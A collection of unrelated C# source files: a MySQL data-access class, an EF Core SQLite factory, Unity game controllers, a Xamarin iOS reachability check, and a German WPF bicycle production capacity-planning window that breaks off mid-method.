new MySqlParameter("p_StatusType",p_KeyStatuses.StatusType),
new MySqlParameter("p_result",MySqlDbType.Int32, 2,ParameterDirection.Output,false,1,1,"Out",DataRowVersion.Default,result)
};
return MySQLDB.MySQLDBHelper.ExecuteNonQuery("AddKeyStatus", CommandType.StoredProcedure, parameters);
//if (result == 1) return true;
//else return false;
}
public int UpdateKeyStatuses(KeyStatuses p_KeyStatuses)
{
MySqlParameter[] parameters = new MySqlParameter[] {
new MySqlParameter("p_StatusID", p_KeyStatuses.StatusID),
new MySqlParameter("p_StatusType",p_KeyStatuses.StatusType)
};
return MySQLDB.MySQLDBHelper.ExecuteNonQuery("UpdateKeyStatus", CommandType.StoredProcedure, parameters);
}
public int DeleteKeyStatuses(int p_StatusID)
{
MySqlParameter[] parameters = new MySqlParameter[] {
new MySqlParameter("p_StatusID", p_StatusID) };
return MySQLDB.MySQLDBHelper.ExecuteNonQuery("DeleteKeyStatus", CommandType.StoredProcedure, parameters);
}
public List<KeyStatuses> SelectKeyStatuses(int currentUserType, int deploymentId)
{
List<KeyStatuses> VisitorTypesCol = new List<KeyStatuses>();
DataTable dt = MySQLDB.MySQLDBHelper.ExecuteSelectCommand("GetKeyStatuses", CommandType.StoredProcedure);
KeyStatuses objKeyStatus = null;
foreach (DataRow dr in dt.Rows)
{
objKeyStatus = new KeyStatuses();
objKeyStatus.StatusID = Convert.ToInt32(dr["StatusID"].ToString());
objKeyStatus.StatusType = dr["StatusType"].ToString();
VisitorTypesCol.Add(objKeyStatus);
}
dt.Clear();
dt.Dispose();
return VisitorTypesCol;
}
public KeyStatuses SelectKeyStatusesByID(int p_StatusID)
{
MySqlParameter[] parameters = new MySqlParameter[] {
new MySqlParameter("p_StatusID", p_StatusID) };
DataTable dt = MySQLDB.MySQLDBHelper.ExecuteSelectCommand("GetKeyStatusByID", CommandType.StoredProcedure, parameters);
KeyStatuses objKeyStatus = null;
if (dt.Rows.Count > 0)
{
DataRow dr = dt.Rows[0];
objKeyStatus = new KeyStatuses();
objKeyStatus.StatusID = Convert.ToInt32(dr["StatusID"].ToString());
objKeyStatus.StatusType = dr["StatusType"].ToString();
}
dt.Clear();
dt.Dispose();
return objKeyStatus;
}
}
}
|
// Copyright (c) .NET Foundation. All rights reserved.
// Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.
using Microsoft.EntityFrameworkCore.Query;
namespace Microsoft.EntityFrameworkCore.Sqlite.Query.Internal
{
/// <summary>
/// This is an internal API that supports the Entity Framework Core infrastructure and not subject to
/// the same compatibility standards as public APIs. It may be changed or removed without notice in
/// any release. You should only use it directly in your code with extreme caution and knowing that
/// doing so can result in application failures when updating to a new Entity Framework Core release.
/// </summary>
public class SqliteQueryTranslationPostprocessorFactory : IQueryTranslationPostprocessorFactory
{
private readonly QueryTranslationPostprocessorDependencies _dependencies;
private readonly RelationalQueryTranslationPostprocessorDependencies _relationalDependencies;
/// <summary>
/// This is an internal API that supports the Entity Framework Core infrastructure and not subject to
/// the same compatibility standards as public APIs. It may be changed or removed without notice in
/// any release. You should only use it directly in your code with extreme caution and knowing that
/// doing so can result in application failures when updating to a new Entity Framework Core release.
/// </summary>
public SqliteQueryTranslationPostprocessorFactory(
QueryTranslationPostprocessorDependencies dependencies,
RelationalQueryTranslationPostprocessorDependencies relationalDependencies)
{
_dependencies = dependencies;
_relationalDependencies = relationalDependencies;
}
/// <summary>
/// This is an internal API that supports the Entity Framework Core infrastructure and not subject to
/// the same compatibility standards as public APIs. It may be changed or removed without notice in
/// any release. You should only use it directly in your code with extreme caution and knowing that
/// doing so can result in application failures when updating to a new Entity Framework Core release.
/// </summary>
public virtual QueryTranslationPostprocessor Create(QueryCompilationContext queryCompilationContext)
{
return new SqliteQueryTranslationPostprocessor(
_dependencies,
_relationalDependencies,
queryCompilationContext);
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace Lite_Berry_Pi.Models.Api
{
public class DesignDto
{
public int Id { get; set; }
public string Title { get; set; }
public string DesignCoords { get; set; }
}
}
|
using Spine;
using System;
using UnityEngine;
[RequireComponent(typeof(CharacterController))]
public class BasicPlatformerController : MonoBehaviour
{
public string XAxis = "Horizontal";
public string YAxis = "Vertical";
public string JumpButton = "Jump";
public float walkSpeed = 4f;
public float runSpeed = 10f;
public float gravity = 65f;
public float jumpSpeed = 25f;
public float jumpDuration = 0.5f;
public float jumpInterruptFactor = 100f;
public float forceCrouchVelocity = 25f;
public float forceCrouchDuration = 0.5f;
public Transform graphicsRoot;
public SkeletonAnimation skeletonAnimation;
public string walkName = "Walk";
public string runName = "Run";
public string idleName = "Idle";
public string jumpName = "Jump";
public string fallName = "Fall";
public string crouchName = "Crouch";
public AudioSource jumpAudioSource;
public AudioSource hardfallAudioSource;
public AudioSource footstepAudioSource;
public string footstepEventName = "Footstep";
private CharacterController controller;
private Vector2 velocity = Vector2.get_zero();
private Vector2 lastVelocity = Vector2.get_zero();
private bool lastGrounded;
private float jumpEndTime;
private bool jumpInterrupt;
private float forceCrouchEndTime;
private Quaternion flippedRotation = Quaternion.Euler(0f, 180f, 0f);
private void Awake()
{
this.controller = base.GetComponent<CharacterController>();
}
private void Start()
{
this.skeletonAnimation.state.Event += new AnimationState.EventDelegate(this.HandleEvent);
}
private void HandleEvent(AnimationState state, int trackIndex, Event e)
{
if (e.Data.Name == this.footstepEventName)
{
this.footstepAudioSource.Stop();
this.footstepAudioSource.Play();
}
}
private void Update()
{
float axis = Input.GetAxis(this.XAxis);
float axis2 = Input.GetAxis(this.YAxis);
bool flag = (this.controller.get_isGrounded() && axis2 < -0.5f) || this.forceCrouchEndTime > Time.get_time();
this.velocity.x = 0f;
if (!flag)
{
if (Input.GetButtonDown(this.JumpButton) && this.controller.get_isGrounded())
{
this.jumpAudioSource.Stop();
this.jumpAudioSource.Play();
this.velocity.y = this.jumpSpeed;
this.jumpEndTime = Time.get_time() + this.jumpDuration;
}
else if (Time.get_time() < this.jumpEndTime && Input.GetButtonUp(this.JumpButton))
{
this.jumpInterrupt = true;
}
if (axis != 0f)
{
this.velocity.x = ((Mathf.Abs(axis) <= 0.6f) ? this.walkSpeed : this.runSpeed);
this.velocity.x = this.velocity.x * Mathf.Sign(axis);
}
if (this.jumpInterrupt)
{
if (this.velocity.y > 0f)
{
this.velocity.y = Mathf.MoveTowards(this.velocity.y, 0f, Time.get_deltaTime() * 100f);
}
else
{
this.jumpInterrupt = false;
}
}
}
this.velocity.y = this.velocity.y - this.gravity * Time.get_deltaTime();
this.controller.Move(new Vector3(this.velocity.x, this.velocity.y, 0f) * Time.get_deltaTime());
if (this.controller.get_isGrounded())
{
this.velocity.y = -this.gravity * Time.get_deltaTime();
this.jumpInterrupt = false;
}
Vector2 vector = this.lastVelocity - this.velocity;
if (!this.lastGrounded && this.controller.get_isGrounded())
{
if (this.gravity * Time.get_deltaTime() - vector.y > this.forceCrouchVelocity)
{
this.forceCrouchEndTime = Time.get_time() + this.forceCrouchDuration;
this.hardfallAudioSource.Play();
}
else
{
this.footstepAudioSource.Play();
}
}
if (this.controller.get_isGrounded())
{
if (flag)
{
this.skeletonAnimation.AnimationName = this.crouchName;
}
else if (axis == 0f)
{
this.skeletonAnimation.AnimationName = this.idleName;
}
else
{
this.skeletonAnimation.AnimationName = ((Mathf.Abs(axis) <= 0.6f) ? this.walkName : this.runName);
}
}
else if (this.velocity.y > 0f)
{
this.skeletonAnimation.AnimationName = this.jumpName;
}
else
{
this.skeletonAnimation.AnimationName = this.fallName;
}
if (axis > 0f)
{
this.graphicsRoot.set_localRotation(Quaternion.get_identity());
}
else if (axis < 0f)
{
this.graphicsRoot.set_localRotation(this.flippedRotation);
}
this.lastVelocity = this.velocity;
this.lastGrounded = this.controller.get_isGrounded();
}
}
|
using System.Collections;
using System.Collections.Generic;
using Managers;
using UnityEngine;
using UnityEngine.UI;
public class SmarmotBarController : MonoBehaviour
{
private Slider _bar;
private void Start()
{
_bar = GetComponentInChildren<Slider>();
_bar.value = 0;
_bar.maxValue = 100;
EventManager.Instance.OnQuickTimeEventStart.AddListener(HideBar);
EventManager.Instance.OnQuickTimeSuccess.AddListener(ShowBar);
}
private void Update()
{
_bar.value = GameManager.Instance.GetSmarmotBarValue();
}
private void HideBar(float x)
{
_bar.gameObject.SetActive(false);
}
private void ShowBar(bool x)
{
_bar.gameObject.SetActive(true);
}
}
|
using System;
using System.Net;
using CoreFoundation;
using SystemConfiguration;
using Xamarin.Forms;
using MCCForms.iOS;
[assembly: Dependency (typeof(Reachability_iOS))] //How to use in Forms project: DependencyService.Get<IReachability> ().IsConnected();
namespace MCCForms.iOS
{
public class Reachability_iOS : IReachability
{
public Reachability_iOS ()
{
}
public bool IsConnected ()
{
return IsHostReachable ("www.google.com");
}
bool IsHostReachable(string host)
{
if (string.IsNullOrEmpty(host))
return false;
using (var r = new NetworkReachability(host))
{
NetworkReachabilityFlags flags;
if (r.TryGetFlags(out flags))
{
return IsReachableWithoutRequiringConnection(flags);
}
}
return false;
}
bool IsReachableWithoutRequiringConnection(NetworkReachabilityFlags flags)
{
// Is it reachable with the current network configuration?
bool isReachable = (flags & NetworkReachabilityFlags.Reachable) != 0;
// Do we need a connection to reach it?
bool noConnectionRequired = (flags & NetworkReachabilityFlags.ConnectionRequired) == 0;
// Since the network stack will automatically try to get the WAN up,
// probe that
if ((flags & NetworkReachabilityFlags.IsWWAN) != 0)
noConnectionRequired = true;
return isReachable && noConnectionRequired;
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Navigation;
using System.Windows.Shapes;
using radl_pps.repository;
using radl_pps.domain;
namespace radl_pps.windows
{
/// <summary>
/// Interaction logic for Kapazitaetsplan.xaml
/// </summary>
public partial class Kapazitaetsplan : Window
{
public Kapazitaetsplan()
{
InitializeComponent();
this.Width = System.Windows.SystemParameters.PrimaryScreenHeight;
this.Height = System.Windows.SystemParameters.PrimaryScreenWidth;
AHinterradK.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(4))).ElementAt(0).Menge.ToString();
AHinterradD.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(5))).ElementAt(0).Menge.ToString();
AHinterradH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(6))).ElementAt(0).Menge.ToString();
AVorderradK.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(7))).ElementAt(0).Menge.ToString();
AVorderradD.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(8))).ElementAt(0).Menge.ToString();
AVorderradH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(9))).ElementAt(0).Menge.ToString();
ASchutzblechhintenK.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(10))).ElementAt(0).Menge.ToString();
ASchutzblechhintenD.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(11))).ElementAt(0).Menge.ToString();
ASchutzblechhintenH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(12))).ElementAt(0).Menge.ToString();
ASchutzblechvorneK.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(13))).ElementAt(0).Menge.ToString();
ASchutzblechvorneD.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(14))).ElementAt(0).Menge.ToString();
ASchutzblechvorneH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(15))).ElementAt(0).Menge.ToString();
ALenkerKDH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(16))).ElementAt(0).Menge.ToString();
ASattelKDH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(17))).ElementAt(0).Menge.ToString();
ARahmenK.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(18))).ElementAt(0).Menge.ToString();
ARahmenD.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(19))).ElementAt(0).Menge.ToString();
ARahmenH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(20))).ElementAt(0).Menge.ToString();
APedaleKDH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(26))).ElementAt(0).Menge.ToString();
AVorderradkomplettK.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(49))).ElementAt(0).Menge.ToString();
AVorderradkomplettD.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(54))).ElementAt(0).Menge.ToString();
AVorderradkomplettH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(29))).ElementAt(0).Menge.ToString();
ARahmenundraederK.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(50))).ElementAt(0).Menge.ToString();
ARahmenundraederD.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(55))).ElementAt(0).Menge.ToString();
ARahmenundraederH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(30))).ElementAt(0).Menge.ToString();
AFahrradohnepedaleK.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(51))).ElementAt(0).Menge.ToString();
AFahrradohnepedaleD.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(56))).ElementAt(0).Menge.ToString();
AFahrradohnepedaleH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(31))).ElementAt(0).Menge.ToString();
AFahrradkomplettK.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(1))).ElementAt(0).Menge.ToString();
AFahrradkomplettD.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(2))).ElementAt(0).Menge.ToString();
AFahrradkomplettH.Text = (OutputRepo.produktionen.Where(pro => pro.Artikel.Nummer.Equals(3))).ElementAt(0).Menge.ToString();
HinterradK10.Text = (4 * int.Parse(AHinterradK.Text)).ToString();
HinterradD10.Text = (4 * int.Parse(AHinterradD.Text)).ToString();
HinterradH10.Text = (4 * int.Parse(AHinterradH.Text)).ToString();
HinterradK11.Text = (3 * int.Parse(AHinterradK.Text)).ToString();
HinterradD11.Text = (3 * int.Parse(AHinterradD.Text)).ToString();
HinterradH11.Text = (3 * int.Parse(AHinterradH.Text)).ToString();
VorderradK10.Text = (4 * int.Parse(AVorderradK.Text)).ToString();
VorderradD10.Text = (4 * int.Parse(AVorderradD.Text)).ToString();
VorderradH10.Text = (4 * int.Parse(AVorderradH.Text)).ToString();
VorderradK11.Text = (3 * int.Parse(AVorderradK.Text)).ToString();
VorderradD11.Text = (3 * int.Parse(AVorderradD.Text)).ToString();
VorderradH11.Text = (3 * int.Parse(AVorderradH.Text)).ToString();
SchutzblechhintenK7.Text = (2 * int.Parse(ASchutzblechhintenK.Text)).ToString();
SchutzblechhintenD7.Text = (2 * int.Parse(ASchutzblechhintenD.Text)).ToString();
SchutzblechhintenH7.Text = (2 * int.Parse(ASchutzblechhintenH.Text)).ToString();
SchutzblechhintenK8.Text = (1 * int.Parse(ASchutzblechhintenK.Text)).ToString();
SchutzblechhintenD8.Text = (2 * int.Parse(ASchutzblechhintenD.Text)).ToString();
SchutzblechhintenH8.Text = (2 * int.Parse(ASchutzblechhintenH.Text)).ToString();
SchutzblechhintenK9.Text = (3 * int.Parse(ASchutzblechhintenK.Text)).ToString();
SchutzblechhintenD9.Text = (3 * int.Parse(ASchutzblechhintenD.Text)).ToString();
SchutzblechhintenH9.Text = (3 * int.Parse(ASchutzblechhintenH.Text)).ToString();
SchutzblechhintenK12.Text = (3 * int.Parse(ASchutzblechhintenK.Text)).ToString();
SchutzblechhintenD12.Text = (3 * int.Parse(ASchutzblechhintenD.Text)).ToString();
SchutzblechhintenH12.Text = (3 * int.Parse(ASchutzblechhintenH.Text)).ToString();
SchutzblechhintenK13.Text = (2 * int.Parse(ASchutzblechhintenK.Text)).ToString();
SchutzblechhintenD13.Text = (2 * int.Parse(ASchutzblechhintenD.Text)).ToString();
SchutzblechhintenH13.Text = (2 * int.Parse(ASchutzblechhintenH.Text)).ToString();
SchutzblechvorneK7.Text = (2 * int.Parse(ASchutzblechvorneK.Text)).ToString();
SchutzblechvorneD7.Text = (2 * int.Parse(ASchutzblechvorneD.Text)).ToString();
SchutzblechvorneH7.Text = (2 * int.Parse(ASchutzblechvorneH.Text)).ToString();
SchutzblechvorneK8.Text = (1 * int.Parse(ASchutzblechvorneK.Text)).ToString();
SchutzblechvorneD8.Text = (2 * int.Parse(ASchutzblechvorneD.Text)).ToString();
SchutzblechvorneH8.Text = (2 * int.Parse(ASchutzblechvorneH.Text)).ToString();
SchutzblechvorneK9.Text = (3 * int.Parse(ASchutzblechvorneK.Text)).ToString();
SchutzblechvorneD9.Text = (3 * int.Parse(ASchutzblechvorneD.Text)).ToString();
SchutzblechvorneH9.Text = (3 * int.Parse(ASchutzblechvorneH.Text)).ToString();
SchutzblechvorneK12.Text = (3 * int.Parse(ASchutzblechvorneK.Text)).ToString();
SchutzblechvorneD12.Text = (3 * int.Parse(ASchutzblechvorneD.Text)).ToString();
SchutzblechvorneH12.Text = (3 * int.Parse(ASchutzblechvorneH.Text)).ToString();
SchutzblechvorneK13.Text = (2 * int.Parse(ASchutzblechvorneK.Text)).ToString();
SchutzblechvorneD13.Text = (2 * int.Parse(ASchutzblechvorneD.Text)).ToString();
SchutzblechvorneH13.Text = (2 * int.Parse(ASchutzblechvorneH.Text)).ToString();
LenkerKDH6.Text = (2 * int.Parse(ALenkerKDH.Text)).ToString();
LenkerKDH14.Text = (3 * int.Parse(ALenkerKDH.Text)).ToString();
SattelKDH15.Text = (3 * int.Parse(ASattelKDH.Text)).ToString();
RahmenK6.Text = (3 * int.Parse(ARahmenK.Text)).ToString();
RahmenD6.Text = (3 * int.Parse(ARahmenD.Text)).ToString();
RahmenH6.Text = (3 * int.Parse(ARahmenH.Text)).ToString();
RahmenK7.Text = (2 * int.Parse(ARahmenK.Text)).ToString();
RahmenD7.Text = (2 * int.Parse(ARahmenD.Text)).ToString();
RahmenH7.Text = (2 * int.Parse(ARahmenH.Text)).ToString();
RahmenK8.Text = (3 * int.Parse(ARahmenK.Text)).ToString();
RahmenD8.Text = (3 * int.Parse(ARahmenD.Text)).ToString();
RahmenH8.Text = (3 * int.Parse(ARahmenH.Text)).ToString();
RahmenK9.Text = (2 * int.Parse(ARahmenK.Text)).ToString();
RahmenD9.Text = (2 * int.Parse(ARahmenD.Text)).ToString();
RahmenH9.Text = (2 * int.Parse(ARahmenH.Text)).ToString();
PedaleKDH7.Text = (2 * int.Parse(APedaleKDH.Text)).ToString();
PedaleKDH15.Text = (3 * int.Parse(APedaleKDH.Text)).ToString();
VorderradkomplettK1.Text = (6 * int.Parse(AVorderradkomplettK.Text)).ToString();
VorderradkomplettD1.Text = (6 * int.Parse(AVorderradkomplettD.Text)).ToString();
VorderradkomplettH1.Text = (6 * int.Parse(AVorderradkomplettH.Text)).ToString();
RahmenundraederK2.Text = (5 * int.Parse(ARahmenundraederK.Text)).ToString();
RahmenundraederD2.Text = (5 * int.Parse(ARahmenundraederD.Text)).ToString();
RahmenundraederH2.Text = (5 * int.Parse(ARahmenundraederH.Text)).ToString();
FahrradohnepedaleK3.Text = (5 * int.Parse(AFahrradohnepedaleK.Text)).ToString();
FahrradohnepedaleD3.Text = (6 * int.Parse(AFahrradohnepedaleD.Text)).ToString();
FahrradohnepedaleH3.Text = (6 * int.Parse(AFahrradohnepedaleH.Text)).ToString();
FahrradkomplettK4.Text = (6 * int.Parse(AFahrradkomplettK.Text)).ToString();
FahrradkomplettD4.Text = (7 * int.Parse(AFahrradkomplettD.Text)).ToString();
FahrradkomplettH4.Text = (7 * int.Parse(AFahrradkomplettH.Text)).ToString();
Kapazitaetneu1.Text = ((int.Parse(VorderradkomplettK1.Text)) + (int.Parse(VorderradkomplettD1.Text)) + (int.Parse(VorderradkomplettH1.Text))).ToString();
Kapazitaetneu2.Text = ((int.Parse(RahmenundraederK2.Text)) + (int.Parse(RahmenundraederD2.Text)) + (int.Parse(RahmenundraederH2.Text))).ToString();
Kapazitaetneu3.Text = ((int.Parse(FahrradohnepedaleK3.Text)) + (int.Parse(FahrradohnepedaleD3.Text)) + (int.Parse(FahrradohnepedaleH3.Text))).ToString();
Kapazitaetneu4.Text = ((int.Parse(FahrradkomplettK4.Text)) + (int.Parse(FahrradkomplettD4.Text)) + (int.Parse(FahrradkomplettH4.Text))).ToString();
Kapazitaetneu6.Text = ((int.Parse(RahmenK6.Text)) + (int.Parse(RahmenD6.Text)) + (int.Parse(RahmenH6.Text)) + (int.Parse(LenkerKDH6.Text))).ToString();
Kapazitaetneu7.Text = ((int.Parse(PedaleKDH7.Text)) + (int.Parse(RahmenK7.Text)) + (int.Parse(RahmenD7.Text)) + (int.Parse(RahmenH7.Text)) + (int.Parse(SchutzblechvorneK7.Text)) + (int.Parse(SchutzblechvorneD7.Text)) + (int.Parse(SchutzblechvorneH7.Text)) + (int.Parse(SchutzblechhintenK7.Text)) + (int.Parse(SchutzblechhintenD7.Text)) + (int.Parse(SchutzblechhintenH7.Text))).ToString();
Kapazitaetneu8.Text = ((int.Parse(RahmenK8.Text)) + (int.Parse(RahmenD8.Text)) + (int.Parse(RahmenH8.Text)) + (int.Parse(SchutzblechvorneK8.Text)) + (int.Parse(SchutzblechvorneD8.Text)) + (int.Parse(SchutzblechvorneH8.Text)) + (int.Parse(SchutzblechhintenK8.Text)) + (int.Parse(SchutzblechhintenD8.Text)) + (int.Parse(SchutzblechhintenH8.Text))).ToString();
Kapazitaetneu9.Text = ((int.Parse(RahmenK9.Text)) + (int.Parse(RahmenD9.Text)) + (int.Parse(RahmenH9.Text)) + (int.Parse(SchutzblechvorneK9.Text)) + (int.Parse(SchutzblechvorneD9.Text)) + (int.Parse(SchutzblechvorneH9.Text)) + (int.Parse(SchutzblechhintenK9.Text)) + (int.Parse(SchutzblechhintenD9.Text)) + (int.Parse(SchutzblechhintenH9.Text))).ToString();
Kapazitaetneu10.Text = ((int.Parse(HinterradK10.Text)) + (int.Parse(HinterradD10.Text)) + (int.Parse(HinterradH10.Text)) + (int.Parse(VorderradK10.Text)) + (int.Parse(VorderradD10.Text)) + (int.Parse(VorderradH10.Text))).ToString();
Kapazitaetneu11.Text = ((int.Parse(HinterradK11.Text)) + (int.Parse(HinterradD11.Text)) + (int.Parse(HinterradH11.Text)) + (int.Parse(VorderradK11.Text)) + (int.Parse(VorderradD11.Text)) + (int.Parse(VorderradH11.Text))).ToString();
Kapazitaetneu12.Text = ((int.Parse(SchutzblechvorneK12.Text)) + (int.Parse(SchutzblechvorneD12.Text)) + (int.Parse(SchutzblechvorneH12.Text)) + (int.Parse(SchutzblechhintenK12.Text)) + (int.Parse(SchutzblechhintenD12.Text)) + (int.Parse(SchutzblechhintenH12.Text))).ToString();
Kapazitaetneu13.Text = ((int.Parse(SchutzblechvorneK13.Text)) + (int.Parse(SchutzblechvorneD13.Text)) + (int.Parse(SchutzblechvorneH13.Text)) + (int.Parse(SchutzblechhintenK13.Text)) + (int.Parse(SchutzblechhintenD13.Text)) + (int.Parse(SchutzblechhintenH13.Text))).ToString();
Kapazitaetneu14.Text = ((int.Parse(LenkerKDH14.Text))).ToString();
Kapazitaetneu15.Text = ((int.Parse(PedaleKDH15.Text)) + (int.Parse(SattelKDH15.Text))).ToString();
Ruestzeitneu1.Text = (60).ToString();
Ruestzeitneu2.Text = (80).ToString();
Ruestzeitneu3.Text = (60).ToString();
Ruestzeitneu4.Text = (80).ToString();
Ruestzeitneu6.Text = (60).ToString();
Ruestzeitneu7.Text = (200).ToString();
Ruestzeitneu8.Text = (155).ToString();
Ruestzeitneu9.Text = (140).ToString();
Ruestzeitneu10.Text = (120).ToString();
Ruestzeitneu11.Text = (130).ToString();
Ruestzeitneu12.Text = (0).ToString();
Ruestzeitneu13.Text = (0).ToString();
Ruestzeitneu14.Text = (0).ToString();
Ruestzeitneu15.Text = (30).ToString();
Total1.Text = ((int.Parse(Kapazitaetneu1.Text)) + (int.Parse(Ruestzeitneu1.Text)) + (int.Parse(Kapazitaetalt1.Text)) + (int.Parse(Ruestzeitalt1.Text))).ToString();
Total2.Text = ((int.Parse(Kapazitaetneu2.Text)) + (int.Parse(Ruestzeitneu2.Text)) + (int.Parse(Kapazitaetalt2.Text)) + (int.Parse(Ruestzeitalt2.Text))).ToString();
Total3.Text = ((int.Parse(Kapazitaetneu3.Text)) + (int.Parse(Ruestzeitneu3.Text)) + (int.Parse(Kapazitaetalt3.Text)) + (int.Parse(Ruestzeitalt3.Text))).ToString();
Total4.Text = ((int.Parse(Kapazitaetneu4.Text)) + (int.Parse(Ruestzeitneu4.Text)) + (int.Parse(Kapazitaetalt4.Text)) + (int.Parse(Ruestzeitalt4.Text))).ToString();
Total6.Text = ((int.Parse(Kapazitaetneu6.Text)) + (int.Parse(Ruestzeitneu6.Text)) + (int.Parse(Kapazitaetalt6.Text)) + (int.Parse(Ruestzeitalt6.Text))).ToString();
Total7.Text = ((int.Parse(Kapazitaetneu7.Text)) + (int.Parse(Ruestzeitneu7.Text)) + (int.Parse(Kapazitaetalt7.Text)) + (int.Parse(Ruestzeitalt7.Text))).ToString();
Total8.Text = ((int.Parse(Kapazitaetneu8.Text)) + (int.Parse(Ruestzeitneu8.Text)) + (int.Parse(Kapazitaetalt8.Text)) + (int.Parse(Ruestzeitalt8.Text))).ToString();
Total9.Text = ((int.Parse(Kapazitaetneu9.Text)) + (int.Parse(Ruestzeitneu9.Text)) + (int.Parse(Kapazitaetalt9.Text)) + (int.Parse(Ruestzeitalt9.Text))).ToString();
Total10.Text = ((int.Parse(Kapazitaetneu10.Text)) + (int.Parse(Ruestzeitneu10.Text)) + (int.Parse(Kapazitaetalt10.Text)) + (int.Parse(Ruestzeitalt10.Text))).ToString();
Total11.Text = ((int.Parse(Kapazitaetneu11.Text)) + (int.Parse(Ruestzeitneu11.Text)) + (int.Parse(Kapazitaetalt11.Text)) + (int.Parse(Ruestzeitalt11.Text))).ToString();
Total12.Text = ((int.Parse(Kapazitaetneu12.Text)) + (int.Parse(Ruestzeitneu12.Text)) + (int.Parse(Kapazitaetalt12.Text)) + (int.Parse(Ruestzeitalt12.Text))).ToString();
Total13.Text = ((int.Parse(Kapazitaetneu13.Text)) + (int.Parse(Ruestzeitneu13.Text)) + (int.Parse(Kapazitaetalt13.Text)) + (int.Parse(Ruestzeitalt13.Text))).ToString();
Total14.Text = ((int.Parse(Kapazitaetneu14.Text)) + (int.Parse(Ruestzeitneu14.Text)) + (int.Parse(Kapazitaetalt14.Text)) + (int.Parse(Ruestzeitalt14.Text))).ToString();
Total15.Text = ((int.Parse(Kapazitaetneu15.Text)) + (int.Parse(Ruestzeitneu15.Text)) + (int.Parse(Kapazitaetalt15.Text)) + (int.Parse(Ruestzeitalt15.Text))).ToString();
int S1, S2, S3, S4, S5, S6, S7, S8, S9, S10, S11, S12, S13, S14, S15;
S1 = int.Parse(Schicht1.Text);
S2 = int.Parse(Schicht2.Text);
S3 = int.Parse(Schicht3.Text);
S4 = int.Parse(Schicht4.Text);
S6 = int.Parse(Schicht6.Text);
S7 = int.Parse(Schicht7.Text);
S8 = int.Parse(Schicht8.Text);
S9 = int.Parse(Schicht9.Text);
S10 = int.Parse(Schicht10.Text);
S11 = int.Parse(Schicht11.Text);
S12 = int.Parse(Schicht12.Text);
S13 = int.Parse(Schicht13.Text);
S14 = int.Parse(Schicht14.Text);
S15 = int.Parse(Schicht15.Text);
Ueberminuten1.Text = (((int.Parse(Kapazitaetneu1.Text)) - (2400 * S1)) > 0) ? ((int.Parse(Kapazitaetneu1.Text)) - (2400 * S1)).ToString() : "0";
Ueberminuten2.Text = (((int.Parse(Kapazitaetneu2.Text)) - (2400 * S2)) > 0) ? ((int.Parse(Kapazitaetneu2.Text)) - (2400 * S2)).ToString() : "0";
Ueberminuten3.Text = (((int.Parse(Kapazitaetneu3.Text)) - (2400 * S3)) > 0) ? ((int.Parse(Kapazitaetneu3.Text)) - (2400 * S3)).ToString() : "0";
Ueberminuten4.Text = (((int.Parse(Kapazitaetneu4.Text)) - (2400 * S4)) > 0) ? ((int.Parse(Kapazitaetneu4.Text)) - (2400 * S4)).ToString() : "0";
Ueberminuten6.Text = (((int.Parse(Kapazitaetneu6.Text)) - (2400 * S6)) > 0) ? ((int.Parse(Kapazitaetneu6.Text)) - (2400 * S6)).ToString() : "0";
Ueberminuten7.Text = (((int.Parse(Kapazitaetneu7.Text)) - (2400 * S7)) > 0) ? ((int.Parse(Kapazitaetneu7.Text)) - (2400 * S7)).ToString() : "0";
Ueberminuten8.Text = (((int.Parse(Kapazitaetneu8.Text)) - (2400 * S8)) > 0) ? ((int.Parse(Kapazitaetneu8.Text)) - (2400 * S8)).ToString() : "0";
Ueberminuten9.Text = (((int.Parse(Kapazitaetneu9.Text)) - (2400 * S9)) > 0) ? ((int.Parse(Kapazitaetneu9.Text)) - (2400 * S9)).ToString() : "0";
Ueberminuten10.Text = (((int.Parse(Kapazitaetneu10.Text)) - (2400 * S10)) > 0) ? ((int.Parse(Kapazitaetneu10.Text)) - (2400 * S10)).ToString() : "0";
Ueberminuten11.Text = (((int.Parse(Kapazitaetneu11.Text)) - (2400 * S11)) > 0) ? ((int.Parse(Kapazitaetneu11.Text)) - (2400 * S11)).ToString() : "0";
